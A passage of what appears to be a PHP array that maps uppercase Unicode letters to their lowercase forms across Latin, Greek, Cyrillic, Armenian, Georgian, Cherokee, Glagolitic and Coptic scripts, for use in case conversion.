'Č' => 'č', 'Ď' => 'ď', 'Đ' => 'đ', 'Ē' => 'ē', 'Ĕ' => 'ĕ', 'Ė' => 'ė', 'Ę' => 'ę', 'Ě' => 'ě', 'Ĝ' => 'ĝ', 'Ğ' => 'ğ', 'Ġ' => 'ġ', 'Ģ' => 'ģ', 'Ĥ' => 'ĥ', 'Ħ' => 'ħ', 'Ĩ' => 'ĩ', 'Ī' => 'ī', 'Ĭ' => 'ĭ', 'Į' => 'į', 'İ' => 'i̇', 'IJ' => 'ij', 'Ĵ' => 'ĵ', 'Ķ' => 'ķ', 'Ĺ' => 'ĺ', 'Ļ' => 'ļ', 'Ľ' => 'ľ', 'Ŀ' => 'ŀ', 'Ł' => 'ł', 'Ń' => 'ń', 'Ņ' => 'ņ', 'Ň' => 'ň', 'Ŋ' => 'ŋ', 'Ō' => 'ō', 'Ŏ' => 'ŏ', 'Ő' => 'ő', 'Œ' => 'œ', 'Ŕ' => 'ŕ', 'Ŗ' => 'ŗ', 'Ř' => 'ř', 'Ś' => 'ś', 'Ŝ' => 'ŝ', 'Ş' => 'ş', 'Š' => 'š', 'Ţ' => 'ţ', 'Ť' => 'ť', 'Ŧ' => 'ŧ', 'Ũ' => 'ũ', 'Ū' => 'ū', 'Ŭ' => 'ŭ', 'Ů' => 'ů', 'Ű' => 'ű', 'Ų' => 'ų', 'Ŵ' => 'ŵ', 'Ŷ' => 'ŷ', 'Ÿ' => 'ÿ', 'Ź' => 'ź', 'Ż' => 'ż', 'Ž' => 'ž', 'Ɓ' => 'ɓ', 'Ƃ' => 'ƃ', 'Ƅ' => 'ƅ', 'Ɔ' => 'ɔ', 'Ƈ' => 'ƈ', 'Ɖ' => 'ɖ', 'Ɗ' => 'ɗ', 'Ƌ' => 'ƌ', 'Ǝ' => 'ǝ', 'Ə' => 'ə', 'Ɛ' => 'ɛ', 'Ƒ' => 'ƒ', 'Ɠ' => 'ɠ', 'Ɣ' => 'ɣ', 'Ɩ' => 'ɩ', 'Ɨ' => 'ɨ', 'Ƙ' => 'ƙ', 'Ɯ' => 'ɯ', 'Ɲ' => 'ɲ', 'Ɵ' => 'ɵ', 'Ơ' => 'ơ', 'Ƣ' => 'ƣ', 'Ƥ' => 'ƥ', 'Ʀ' => 'ʀ', 'Ƨ' => 'ƨ', 'Ʃ' => 'ʃ', 'Ƭ' => 'ƭ', 'Ʈ' => 'ʈ', 'Ư' => 'ư', 'Ʊ' => 'ʊ', 'Ʋ' => 'ʋ', 'Ƴ' => 'ƴ', 'Ƶ' => 'ƶ', 'Ʒ' => 'ʒ', 'Ƹ' => 'ƹ', 'Ƽ' => 'ƽ', 'DŽ' => 'dž', 'Dž' => 'dž', 'LJ' => 'lj', 'Lj' => 'lj', 'NJ' => 'nj', 'Nj' => 'nj', 'Ǎ' => 'ǎ', 'Ǐ' => 'ǐ', 'Ǒ' => 'ǒ', 'Ǔ' => 'ǔ', 'Ǖ' => 'ǖ', 'Ǘ' => 'ǘ', 'Ǚ' => 'ǚ', 'Ǜ' => 'ǜ', 'Ǟ' => 'ǟ', 'Ǡ' => 'ǡ', 'Ǣ' => 'ǣ', 'Ǥ' => 'ǥ', 'Ǧ' => 'ǧ', 'Ǩ' => 'ǩ', 'Ǫ' => 'ǫ', 'Ǭ' => 'ǭ', 'Ǯ' => 'ǯ', 'DZ' => 'dz', 'Dz' => 'dz', 'Ǵ' => 'ǵ', 'Ƕ' => 'ƕ', 'Ƿ' => 'ƿ', 'Ǹ' => 'ǹ', 'Ǻ' => 'ǻ', 'Ǽ' => 'ǽ', 'Ǿ' => 'ǿ', 'Ȁ' => 'ȁ', 'Ȃ' => 'ȃ', 'Ȅ' => 'ȅ', 'Ȇ' => 'ȇ', 'Ȉ' => 'ȉ', 'Ȋ' => 'ȋ', 'Ȍ' => 'ȍ', 'Ȏ' => 'ȏ', 'Ȑ' => 'ȑ', 'Ȓ' => 'ȓ', 'Ȕ' => 'ȕ', 'Ȗ' => 'ȗ', 'Ș' => 'ș', 'Ț' => 'ț', 'Ȝ' => 'ȝ', 'Ȟ' => 'ȟ', 'Ƞ' => 'ƞ', 'Ȣ' => 'ȣ', 'Ȥ' => 'ȥ', 'Ȧ' => 'ȧ', 'Ȩ' => 'ȩ', 'Ȫ' => 'ȫ', 'Ȭ' => 'ȭ', 'Ȯ' => 'ȯ', 'Ȱ' => 'ȱ', 'Ȳ' => 'ȳ', 'Ⱥ' => 'ⱥ', 'Ȼ' => 'ȼ', 'Ƚ' => 'ƚ', 'Ⱦ' => 'ⱦ', 'Ɂ' => 'ɂ', 'Ƀ' => 'ƀ', 'Ʉ' => 'ʉ', 'Ʌ' => 'ʌ', 'Ɇ' => 'ɇ', 'Ɉ' => 'ɉ', 'Ɋ' => 'ɋ', 'Ɍ' => 'ɍ', 'Ɏ' => 'ɏ', 'Ͱ' => 'ͱ', 'Ͳ' => 'ͳ', 'Ͷ' => 'ͷ', 'Ϳ' => 'ϳ', 'Ά' => 'ά', 'Έ' => 'έ', 'Ή' => 'ή', 'Ί' => 'ί', 'Ό' => 'ό', 'Ύ' => 'ύ', 'Ώ' => 'ώ', 'Α' => 'α', 'Β' => 'β', 'Γ' => 'γ', 'Δ' => 'δ', 'Ε' => 'ε', 'Ζ' => 'ζ', 'Η' => 'η', 'Θ' => 'θ', 'Ι' => 'ι', 'Κ' => 'κ', 'Λ' => 'λ', 'Μ' => 'μ', 'Ν' => 'ν', 'Ξ' => 'ξ', 'Ο' => 'ο', 'Π' => 'π', 'Ρ' => 'ρ', 'Σ' => 'σ', 'Τ' => 'τ', 'Υ' => 'υ', 'Φ' => 'φ', 'Χ' => 'χ', 'Ψ' => 'ψ', 'Ω' => 'ω', 'Ϊ' => 'ϊ', 'Ϋ' => 'ϋ', 'Ϗ' => 'ϗ', 'Ϙ' => 'ϙ', 'Ϛ' => 'ϛ', 'Ϝ' => 'ϝ', 'Ϟ' => 'ϟ', 'Ϡ' => 'ϡ', 'Ϣ' => 'ϣ', 'Ϥ' => 'ϥ', 'Ϧ' => 'ϧ', 'Ϩ' => 'ϩ', 'Ϫ' => 'ϫ', 'Ϭ' => 'ϭ', 'Ϯ' => 'ϯ', 'ϴ' => 'θ', 'Ϸ' => 'ϸ', 'Ϲ' => 'ϲ', 'Ϻ' => 'ϻ', 'Ͻ' => 'ͻ', 'Ͼ' => 'ͼ', 'Ͽ' => 'ͽ', 'Ѐ' => 'ѐ', 'Ё' => 'ё', 'Ђ' => 'ђ', 'Ѓ' => 'ѓ', 'Є' => 'є', 'Ѕ' => 'ѕ', 'І' => 'і', 'Ї' => 'ї', 'Ј' => 'ј', 'Љ' => 'љ', 'Њ' => 'њ', 'Ћ' => 'ћ', 'Ќ' => 'ќ', 'Ѝ' => 'ѝ', 'Ў' => 'ў', 'Џ' => 'џ', 'А' => 'а', 'Б' => 'б', 'В' => 'в', 'Г' => 'г', 'Д' => 'д', 'Е' => 'е', 'Ж' => 'ж', 'З' => 'з', 'И' => 'и', 'Й' => 'й', 'К' => 'к', 'Л' => 'л', 'М' => 'м', 'Н' => 'н', 'О' => 'о', 'П' => 'п', 'Р' => 'р', 'С' => 'с', 'Т' => 'т', 'У' => 'у', 'Ф' => 'ф', 'Х' => 'х', 'Ц' => 'ц', 'Ч' => 'ч', 'Ш' => 'ш', 'Щ' => 'щ', 'Ъ' => 'ъ', 'Ы' => 'ы', 'Ь' => 'ь', 'Э' => 'э', 'Ю' => 'ю', 'Я' => 'я', 'Ѡ' => 'ѡ', 'Ѣ' => 'ѣ', 'Ѥ' => 'ѥ', 'Ѧ' => 'ѧ', 'Ѩ' => 'ѩ', 'Ѫ' => 'ѫ', 'Ѭ' => 'ѭ', 'Ѯ' => 'ѯ', 'Ѱ' => 'ѱ', 'Ѳ' => 'ѳ', 'Ѵ' => 'ѵ', 'Ѷ' => 'ѷ', 'Ѹ' => 'ѹ', 'Ѻ' => 'ѻ', 'Ѽ' => 'ѽ', 'Ѿ' => 'ѿ', 'Ҁ' => 'ҁ', 'Ҋ' => 'ҋ', 'Ҍ' => 'ҍ', 'Ҏ' => 'ҏ', 'Ґ' => 'ґ', 'Ғ' => 'ғ', 'Ҕ' => 'ҕ', 'Җ' => 'җ', 'Ҙ' => 'ҙ', 'Қ' => 'қ', 'Ҝ' => 'ҝ', 'Ҟ' => 'ҟ', 'Ҡ' => 'ҡ', 'Ң' => 'ң', 'Ҥ' => 'ҥ', 'Ҧ' => 'ҧ', 'Ҩ' => 'ҩ', 'Ҫ' => 'ҫ', 'Ҭ' => 'ҭ', 'Ү' => 'ү', 'Ұ' => 'ұ', 'Ҳ' => 'ҳ', 'Ҵ' => 'ҵ', 'Ҷ' => 'ҷ', 'Ҹ' => 'ҹ', 'Һ' => 'һ', 'Ҽ' => 'ҽ', 'Ҿ' => 'ҿ', 'Ӏ' => 'ӏ', 'Ӂ' => 'ӂ', 'Ӄ' => 'ӄ', 'Ӆ' => 'ӆ', 'Ӈ' => 'ӈ', 'Ӊ' => 'ӊ', 'Ӌ' => 'ӌ', 'Ӎ' => 'ӎ', 'Ӑ' => 'ӑ', 'Ӓ' => 'ӓ', 'Ӕ' => 'ӕ', 'Ӗ' => 'ӗ', 'Ә' => 'ә', 'Ӛ' => 'ӛ', 'Ӝ' => 'ӝ', 'Ӟ' => 'ӟ', 'Ӡ' => 'ӡ', 'Ӣ' => 'ӣ', 'Ӥ' => 'ӥ', 'Ӧ' => 'ӧ', 'Ө' => 'ө', 'Ӫ' => 'ӫ', 'Ӭ' => 'ӭ', 'Ӯ' => 'ӯ', 'Ӱ' => 'ӱ', 'Ӳ' => 'ӳ', 'Ӵ' => 'ӵ', 'Ӷ' => 'ӷ', 'Ӹ' => 'ӹ', 'Ӻ' => 'ӻ', 'Ӽ' => 'ӽ', 'Ӿ' => 'ӿ', 'Ԁ' => 'ԁ', 'Ԃ' => 'ԃ', 'Ԅ' => 'ԅ', 'Ԇ' => 'ԇ', 'Ԉ' => 'ԉ', 'Ԋ' => 'ԋ', 'Ԍ' => 'ԍ', 'Ԏ' => 'ԏ', 'Ԑ' => 'ԑ', 'Ԓ' => 'ԓ', 'Ԕ' => 'ԕ', 'Ԗ' => 'ԗ', 'Ԙ' => 'ԙ', 'Ԛ' => 'ԛ', 'Ԝ' => 'ԝ', 'Ԟ' => 'ԟ', 'Ԡ' => 'ԡ', 'Ԣ' => 'ԣ', 'Ԥ' => 'ԥ', 'Ԧ' => 'ԧ', 'Ԩ' => 'ԩ', 'Ԫ' => 'ԫ', 'Ԭ' => 'ԭ', 'Ԯ' => 'ԯ', 'Ա' => 'ա', 'Բ' => 'բ', 'Գ' => 'գ', 'Դ' => 'դ', 'Ե' => 'ե', 'Զ' => 'զ', 'Է' => 'է', 'Ը' => 'ը', 'Թ' => 'թ', 'Ժ' => 'ժ', 'Ի' => 'ի', 'Լ' => 'լ', 'Խ' => 'խ', 'Ծ' => 'ծ', 'Կ' => 'կ', 'Հ' => 'հ', 'Ձ' => 'ձ', 'Ղ' => 'ղ', 'Ճ' => 'ճ', 'Մ' => 'մ', 'Յ' => 'յ', 'Ն' => 'ն', 'Շ' => 'շ', 'Ո' => 'ո', 'Չ' => 'չ', 'Պ' => 'պ', 'Ջ' => 'ջ', 'Ռ' => 'ռ', 'Ս' => 'ս', 'Վ' => 'վ', 'Տ' => 'տ', 'Ր' => 'ր', 'Ց' => 'ց', 'Ւ' => 'ւ', 'Փ' => 'փ', 'Ք' => 'ք', 'Օ' => 'օ', 'Ֆ' => 'ֆ', 'Ⴀ' => 'ⴀ', 'Ⴁ' => 'ⴁ', 'Ⴂ' => 'ⴂ', 'Ⴃ' => 'ⴃ', 'Ⴄ' => 'ⴄ', 'Ⴅ' => 'ⴅ', 'Ⴆ' => 'ⴆ', 'Ⴇ' => 'ⴇ', 'Ⴈ' => 'ⴈ', 'Ⴉ' => 'ⴉ', 'Ⴊ' => 'ⴊ', 'Ⴋ' => 'ⴋ', 'Ⴌ' => 'ⴌ', 'Ⴍ' => 'ⴍ', 'Ⴎ' => 'ⴎ', 'Ⴏ' => 'ⴏ', 'Ⴐ' => 'ⴐ', 'Ⴑ' => 'ⴑ', 'Ⴒ' => 'ⴒ', 'Ⴓ' => 'ⴓ', 'Ⴔ' => 'ⴔ', 'Ⴕ' => 'ⴕ', 'Ⴖ' => 'ⴖ', 'Ⴗ' => 'ⴗ', 'Ⴘ' => 'ⴘ', 'Ⴙ' => 'ⴙ', 'Ⴚ' => 'ⴚ', 'Ⴛ' => 'ⴛ', 'Ⴜ' => 'ⴜ', 'Ⴝ' => 'ⴝ', 'Ⴞ' => 'ⴞ', 'Ⴟ' => 'ⴟ', 'Ⴠ' => 'ⴠ', 'Ⴡ' => 'ⴡ', 'Ⴢ' => 'ⴢ', 'Ⴣ' => 'ⴣ', 'Ⴤ' => 'ⴤ', 'Ⴥ' => 'ⴥ', 'Ⴧ' => 'ⴧ', 'Ⴭ' => 'ⴭ', 'Ꭰ' => 'ꭰ', 'Ꭱ' => 'ꭱ', 'Ꭲ' => 'ꭲ', 'Ꭳ' => 'ꭳ', 'Ꭴ' => 'ꭴ', 'Ꭵ' => 'ꭵ', 'Ꭶ' => 'ꭶ', 'Ꭷ' => 'ꭷ', 'Ꭸ' => 'ꭸ', 'Ꭹ' => 'ꭹ', 'Ꭺ' => 'ꭺ', 'Ꭻ' => 'ꭻ', 'Ꭼ' => 'ꭼ', 'Ꭽ' => 'ꭽ', 'Ꭾ' => 'ꭾ', 'Ꭿ' => 'ꭿ', 'Ꮀ' => 'ꮀ', 'Ꮁ' => 'ꮁ', 'Ꮂ' => 'ꮂ', 'Ꮃ' => 'ꮃ', 'Ꮄ' => 'ꮄ', 'Ꮅ' => 'ꮅ', 'Ꮆ' => 'ꮆ', 'Ꮇ' => 'ꮇ', 'Ꮈ' => 'ꮈ', 'Ꮉ' => 'ꮉ', 'Ꮊ' => 'ꮊ', 'Ꮋ' => 'ꮋ', 'Ꮌ' => 'ꮌ', 'Ꮍ' => 'ꮍ', 'Ꮎ' => 'ꮎ', 'Ꮏ' => 'ꮏ', 'Ꮐ' => 'ꮐ', 'Ꮑ' => 'ꮑ', 'Ꮒ' => 'ꮒ', 'Ꮓ' => 'ꮓ', 'Ꮔ' => 'ꮔ', 'Ꮕ' => 'ꮕ', 'Ꮖ' => 'ꮖ', 'Ꮗ' => 'ꮗ', 'Ꮘ' => 'ꮘ', 'Ꮙ' => 'ꮙ', 'Ꮚ' => 'ꮚ', 'Ꮛ' => 'ꮛ', 'Ꮜ' => 'ꮜ', 'Ꮝ' => 'ꮝ', 'Ꮞ' => 'ꮞ', 'Ꮟ' => 'ꮟ', 'Ꮠ' => 'ꮠ', 'Ꮡ' => 'ꮡ', 'Ꮢ' => 'ꮢ', 'Ꮣ' => 'ꮣ', 'Ꮤ' => 'ꮤ', 'Ꮥ' => 'ꮥ', 'Ꮦ' => 'ꮦ', 'Ꮧ' => 'ꮧ', 'Ꮨ' => 'ꮨ', 'Ꮩ' => 'ꮩ', 'Ꮪ' => 'ꮪ', 'Ꮫ' => 'ꮫ', 'Ꮬ' => 'ꮬ', 'Ꮭ' => 'ꮭ', 'Ꮮ' => 'ꮮ', 'Ꮯ' => 'ꮯ', 'Ꮰ' => 'ꮰ', 'Ꮱ' => 'ꮱ', 'Ꮲ' => 'ꮲ', 'Ꮳ' => 'ꮳ', 'Ꮴ' => 'ꮴ', 'Ꮵ' => 'ꮵ', 'Ꮶ' => 'ꮶ', 'Ꮷ' => 'ꮷ', 'Ꮸ' => 'ꮸ', 'Ꮹ' => 'ꮹ', 'Ꮺ' => 'ꮺ', 'Ꮻ' => 'ꮻ', 'Ꮼ' => 'ꮼ', 'Ꮽ' => 'ꮽ', 'Ꮾ' => 'ꮾ', 'Ꮿ' => 'ꮿ', 'Ᏸ' => 'ᏸ', 'Ᏹ' => 'ᏹ', 'Ᏺ' => 'ᏺ', 'Ᏻ' => 'ᏻ', 'Ᏼ' => 'ᏼ', 'Ᏽ' => 'ᏽ', 'Ა' => 'ა', 'Ბ' => 'ბ', 'Გ' => 'გ', 'Დ' => 'დ', 'Ე' => 'ე', 'Ვ' => 'ვ', 'Ზ' => 'ზ', 'Თ' => 'თ', 'Ი' => 'ი', 'Კ' => 'კ', 'Ლ' => 'ლ', 'Მ' => 'მ', 'Ნ' => 'ნ', 'Ო' => 'ო', 'Პ' => 'პ', 'Ჟ' => 'ჟ', 'Რ' => 'რ', 'Ს' => 'ს', 'Ტ' => 'ტ', 'Უ' => 'უ', 'Ფ' => 'ფ', 'Ქ' => 'ქ', 'Ღ' => 'ღ', 'Ყ' => 'ყ', 'Შ' => 'შ', 'Ჩ' => 'ჩ', 'Ც' => 'ც', 'Ძ' => 'ძ', 'Წ' => 'წ', 'Ჭ' => 'ჭ', 'Ხ' => 'ხ', 'Ჯ' => 'ჯ', 'Ჰ' => 'ჰ', 'Ჱ' => 'ჱ', 'Ჲ' => 'ჲ', 'Ჳ' => 'ჳ', 'Ჴ' => 'ჴ', 'Ჵ' => 'ჵ', 'Ჶ' => 'ჶ', 'Ჷ' => 'ჷ', 'Ჸ' => 'ჸ', 'Ჹ' => 'ჹ', 'Ჺ' => 'ჺ', 'Ჽ' => 'ჽ', 'Ჾ' => 'ჾ', 'Ჿ' => 'ჿ', 'Ḁ' => 'ḁ', 'Ḃ' => 'ḃ', 'Ḅ' => 'ḅ', 'Ḇ' => 'ḇ', 'Ḉ' => 'ḉ', 'Ḋ' => 'ḋ', 'Ḍ' => 'ḍ', 'Ḏ' => 'ḏ', 'Ḑ' => 'ḑ', 'Ḓ' => 'ḓ', 'Ḕ' => 'ḕ', 'Ḗ' => 'ḗ', 'Ḙ' => 'ḙ', 'Ḛ' => 'ḛ', 'Ḝ' => 'ḝ', 'Ḟ' => 'ḟ', 'Ḡ' => 'ḡ', 'Ḣ' => 'ḣ', 'Ḥ' => 'ḥ', 'Ḧ' => 'ḧ', 'Ḩ' => 'ḩ', 'Ḫ' => 'ḫ', 'Ḭ' => 'ḭ', 'Ḯ' => 'ḯ', 'Ḱ' => 'ḱ', 'Ḳ' => 'ḳ', 'Ḵ' => 'ḵ', 'Ḷ' => 'ḷ', 'Ḹ' => 'ḹ', 'Ḻ' => 'ḻ', 'Ḽ' => 'ḽ', 'Ḿ' => 'ḿ', 'Ṁ' => 'ṁ', 'Ṃ' => 'ṃ', 'Ṅ' => 'ṅ', 'Ṇ' => 'ṇ', 'Ṉ' => 'ṉ', 'Ṋ' => 'ṋ', 'Ṍ' => 'ṍ', 'Ṏ' => 'ṏ', 'Ṑ' => 'ṑ', 'Ṓ' => 'ṓ', 'Ṕ' => 'ṕ', 'Ṗ' => 'ṗ', 'Ṙ' => 'ṙ', 'Ṛ' => 'ṛ', 'Ṝ' => 'ṝ', 'Ṟ' => 'ṟ', 'Ṡ' => 'ṡ', 'Ṣ' => 'ṣ', 'Ṥ' => 'ṥ', 'Ṧ' => 'ṧ', 'Ṩ' => 'ṩ', 'Ṫ' => 'ṫ', 'Ṭ' => 'ṭ', 'Ṯ' => 'ṯ', 'Ṱ' => 'ṱ', 'Ṳ' => 'ṳ', 'Ṵ' => 'ṵ', 'Ṷ' => 'ṷ', 'Ṹ' => 'ṹ', 'Ṻ' => 'ṻ', 'Ṽ' => 'ṽ', 'Ṿ' => 'ṿ', 'Ẁ' => 'ẁ', 'Ẃ' => 'ẃ', 'Ẅ' => 'ẅ', 'Ẇ' => 'ẇ', 'Ẉ' => 'ẉ', 'Ẋ' => 'ẋ', 'Ẍ' => 'ẍ', 'Ẏ' => 'ẏ', 'Ẑ' => 'ẑ', 'Ẓ' => 'ẓ', 'Ẕ' => 'ẕ', 'ẞ' => 'ß', 'Ạ' => 'ạ', 'Ả' => 'ả', 'Ấ' => 'ấ', 'Ầ' => 'ầ', 'Ẩ' => 'ẩ', 'Ẫ' => 'ẫ', 'Ậ' => 'ậ', 'Ắ' => 'ắ', 'Ằ' => 'ằ', 'Ẳ' => 'ẳ', 'Ẵ' => 'ẵ', 'Ặ' => 'ặ', 'Ẹ' => 'ẹ', 'Ẻ' => 'ẻ', 'Ẽ' => 'ẽ', 'Ế' => 'ế', 'Ề' => 'ề', 'Ể' => 'ể', 'Ễ' => 'ễ', 'Ệ' => 'ệ', 'Ỉ' => 'ỉ', 'Ị' => 'ị', 'Ọ' => 'ọ', 'Ỏ' => 'ỏ', 'Ố' => 'ố', 'Ồ' => 'ồ', 'Ổ' => 'ổ', 'Ỗ' => 'ỗ', 'Ộ' => 'ộ', 'Ớ' => 'ớ', 'Ờ' => 'ờ', 'Ở' => 'ở', 'Ỡ' => 'ỡ', 'Ợ' => 'ợ', 'Ụ' => 'ụ', 'Ủ' => 'ủ', 'Ứ' => 'ứ', 'Ừ' => 'ừ', 'Ử' => 'ử', 'Ữ' => 'ữ', 'Ự' => 'ự', 'Ỳ' => 'ỳ', 'Ỵ' => 'ỵ', 'Ỷ' => 'ỷ', 'Ỹ' => 'ỹ', 'Ỻ' => 'ỻ', 'Ỽ' => 'ỽ', 'Ỿ' => 'ỿ', 'Ἀ' => 'ἀ', 'Ἁ' => 'ἁ', 'Ἂ' => 'ἂ', 'Ἃ' => 'ἃ', 'Ἄ' => 'ἄ', 'Ἅ' => 'ἅ', 'Ἆ' => 'ἆ', 'Ἇ' => 'ἇ', 'Ἐ' => 'ἐ', 'Ἑ' => 'ἑ', 'Ἒ' => 'ἒ', 'Ἓ' => 'ἓ', 'Ἔ' => 'ἔ', 'Ἕ' => 'ἕ', 'Ἠ' => 'ἠ', 'Ἡ' => 'ἡ', 'Ἢ' => 'ἢ', 'Ἣ' => 'ἣ', 'Ἤ' => 'ἤ', 'Ἥ' => 'ἥ', 'Ἦ' => 'ἦ', 'Ἧ' => 'ἧ', 'Ἰ' => 'ἰ', 'Ἱ' => 'ἱ', 'Ἲ' => 'ἲ', 'Ἳ' => 'ἳ', 'Ἴ' => 'ἴ', 'Ἵ' => 'ἵ', 'Ἶ' => 'ἶ', 'Ἷ' => 'ἷ', 'Ὀ' => 'ὀ', 'Ὁ' => 'ὁ', 'Ὂ' => 'ὂ', 'Ὃ' => 'ὃ', 'Ὄ' => 'ὄ', 'Ὅ' => 'ὅ', 'Ὑ' => 'ὑ', 'Ὓ' => 'ὓ', 'Ὕ' => 'ὕ', 'Ὗ' => 'ὗ', 'Ὠ' => 'ὠ', 'Ὡ' => 'ὡ', 'Ὢ' => 'ὢ', 'Ὣ' => 'ὣ', 'Ὤ' => 'ὤ', 'Ὥ' => 'ὥ', 'Ὦ' => 'ὦ', 'Ὧ' => 'ὧ', 'ᾈ' => 'ᾀ', 'ᾉ' => 'ᾁ', 'ᾊ' => 'ᾂ', 'ᾋ' => 'ᾃ', 'ᾌ' => 'ᾄ', 'ᾍ' => 'ᾅ', 'ᾎ' => 'ᾆ', 'ᾏ' => 'ᾇ', 'ᾘ' => 'ᾐ', 'ᾙ' => 'ᾑ', 'ᾚ' => 'ᾒ', 'ᾛ' => 'ᾓ', 'ᾜ' => 'ᾔ', 'ᾝ' => 'ᾕ', 'ᾞ' => 'ᾖ', 'ᾟ' => 'ᾗ', 'ᾨ' => 'ᾠ', 'ᾩ' => 'ᾡ', 'ᾪ' => 'ᾢ', 'ᾫ' => 'ᾣ', 'ᾬ' => 'ᾤ', 'ᾭ' => 'ᾥ', 'ᾮ' => 'ᾦ', 'ᾯ' => 'ᾧ', 'Ᾰ' => 'ᾰ', 'Ᾱ' => 'ᾱ', 'Ὰ' => 'ὰ', 'Ά' => 'ά', 'ᾼ' => 'ᾳ', 'Ὲ' => 'ὲ', 'Έ' => 'έ', 'Ὴ' => 'ὴ', 'Ή' => 'ή', 'ῌ' => 'ῃ', 'Ῐ' => 'ῐ', 'Ῑ' => 'ῑ', 'Ὶ' => 'ὶ', 'Ί' => 'ί', 'Ῠ' => 'ῠ', 'Ῡ' => 'ῡ', 'Ὺ' => 'ὺ', 'Ύ' => 'ύ', 'Ῥ' => 'ῥ', 'Ὸ' => 'ὸ', 'Ό' => 'ό', 'Ὼ' => 'ὼ', 'Ώ' => 'ώ', 'ῼ' => 'ῳ', 'Ω' => 'ω', 'K' => 'k', 'Å' => 'å', 'Ⅎ' => 'ⅎ', 'Ⅰ' => 'ⅰ', 'Ⅱ' => 'ⅱ', 'Ⅲ' => 'ⅲ', 'Ⅳ' => 'ⅳ', 'Ⅴ' => 'ⅴ', 'Ⅵ' => 'ⅵ', 'Ⅶ' => 'ⅶ', 'Ⅷ' => 'ⅷ', 'Ⅸ' => 'ⅸ', 'Ⅹ' => 'ⅹ', 'Ⅺ' => 'ⅺ', 'Ⅻ' => 'ⅻ', 'Ⅼ' => 'ⅼ', 'Ⅽ' => 'ⅽ', 'Ⅾ' => 'ⅾ', 'Ⅿ' => 'ⅿ', 'Ↄ' => 'ↄ', 'Ⓐ' => 'ⓐ', 'Ⓑ' => 'ⓑ', 'Ⓒ' => 'ⓒ', 'Ⓓ' => 'ⓓ', 'Ⓔ' => 'ⓔ', 'Ⓕ' => 'ⓕ', 'Ⓖ' => 'ⓖ', 'Ⓗ' => 'ⓗ', 'Ⓘ' => 'ⓘ', 'Ⓙ' => 'ⓙ', 'Ⓚ' => 'ⓚ', 'Ⓛ' => 'ⓛ', 'Ⓜ' => 'ⓜ', 'Ⓝ' => 'ⓝ', 'Ⓞ' => 'ⓞ', 'Ⓟ' => 'ⓟ', 'Ⓠ' => 'ⓠ', 'Ⓡ' => 'ⓡ', 'Ⓢ' => 'ⓢ', 'Ⓣ' => 'ⓣ', 'Ⓤ' => 'ⓤ', 'Ⓥ' => 'ⓥ', 'Ⓦ' => 'ⓦ', 'Ⓧ' => 'ⓧ', 'Ⓨ' => 'ⓨ', 'Ⓩ' => 'ⓩ', 'Ⰰ' => 'ⰰ', 'Ⰱ' => 'ⰱ', 'Ⰲ' => 'ⰲ', 'Ⰳ' => 'ⰳ', 'Ⰴ' => 'ⰴ', 'Ⰵ' => 'ⰵ', 'Ⰶ' => 'ⰶ', 'Ⰷ' => 'ⰷ', 'Ⰸ' => 'ⰸ', 'Ⰹ' => 'ⰹ', 'Ⰺ' => 'ⰺ', 'Ⰻ' => 'ⰻ', 'Ⰼ' => 'ⰼ', 'Ⰽ' => 'ⰽ', 'Ⰾ' => 'ⰾ', 'Ⰿ' => 'ⰿ', 'Ⱀ' => 'ⱀ', 'Ⱁ' => 'ⱁ', 'Ⱂ' => 'ⱂ', 'Ⱃ' => 'ⱃ', 'Ⱄ' => 'ⱄ', 'Ⱅ' => 'ⱅ', 'Ⱆ' => 'ⱆ', 'Ⱇ' => 'ⱇ', 'Ⱈ' => 'ⱈ', 'Ⱉ' => 'ⱉ', 'Ⱊ' => 'ⱊ', 'Ⱋ' => 'ⱋ', 'Ⱌ' => 'ⱌ', 'Ⱍ' => 'ⱍ', 'Ⱎ' => 'ⱎ', 'Ⱏ' => 'ⱏ', 'Ⱐ' => 'ⱐ', 'Ⱑ' => 'ⱑ', 'Ⱒ' => 'ⱒ', 'Ⱓ' => 'ⱓ', 'Ⱔ' => 'ⱔ', 'Ⱕ' => 'ⱕ', 'Ⱖ' => 'ⱖ', 'Ⱗ' => 'ⱗ', 'Ⱘ' => 'ⱘ', 'Ⱙ' => 'ⱙ', 'Ⱚ' => 'ⱚ', 'Ⱛ' => 'ⱛ', 'Ⱜ' => 'ⱜ', 'Ⱝ' => 'ⱝ', 'Ⱞ' => 'ⱞ', 'Ⱡ' => 'ⱡ', 'Ɫ' => 'ɫ', 'Ᵽ' => 'ᵽ', 'Ɽ' => 'ɽ', 'Ⱨ' => 'ⱨ', 'Ⱪ' => 'ⱪ', 'Ⱬ' => 'ⱬ', 'Ɑ' => 'ɑ', 'Ɱ' => 'ɱ', 'Ɐ' => 'ɐ', 'Ɒ' => 'ɒ', 'Ⱳ' => 'ⱳ', 'Ⱶ' => 'ⱶ', 'Ȿ' => 'ȿ', 'Ɀ' => 'ɀ', 'Ⲁ' => 'ⲁ', 'Ⲃ' => 'ⲃ', 'Ⲅ' => 'ⲅ', 'Ⲇ' => 'ⲇ', 'Ⲉ' => 'ⲉ', 'Ⲋ' => 'ⲋ', 'Ⲍ' => 'ⲍ', 'Ⲏ' => 'ⲏ', 'Ⲑ' => 'ⲑ', 'Ⲓ' => 'ⲓ', 'Ⲕ' => 'ⲕ', 'Ⲗ' => 'ⲗ', 'Ⲙ' => 'ⲙ', 'Ⲛ' => 'ⲛ', 'Ⲝ' => 'ⲝ', 'Ⲟ' => 'ⲟ', 'Ⲡ' => 'ⲡ', 'Ⲣ' => 'ⲣ', 'Ⲥ' => 'ⲥ', 'Ⲧ' => 'ⲧ', 'Ⲩ' => 'ⲩ', 'Ⲫ' => 'ⲫ', 'Ⲭ' => 'ⲭ', 'Ⲯ' => 'ⲯ', 'Ⲱ' => 'ⲱ', 'Ⲳ' => 'ⲳ', 'Ⲵ' => 'ⲵ', 'Ⲷ' => 'ⲷ', 'Ⲹ' => 'ⲹ', 'Ⲻ' => 'ⲻ', 'Ⲽ' => 'ⲽ', 'Ⲿ' => 'ⲿ', 'Ⳁ' => 'ⳁ', 'Ⳃ' => 'ⳃ', 'Ⳅ' => 'ⳅ', 'Ⳇ' => 'ⳇ', 'Ⳉ' => 'ⳉ', 'Ⳋ' => 'ⳋ', 'Ⳍ' => 'ⳍ', 'Ⳏ' => 'ⳏ', 'Ⳑ' => 'ⳑ', 'Ⳓ' => 'ⳓ', 'Ⳕ' => 'ⳕ', 'Ⳗ' => 'ⳗ', 'Ⳙ' => 'ⳙ', 'Ⳛ' => 'ⳛ', 'Ⳝ' => 'ⳝ', 'Ⳟ' => 'ⳟ', 'Ⳡ' => 'ⳡ', 'Ⳣ' => 'ⳣ', 'Ⳬ' => 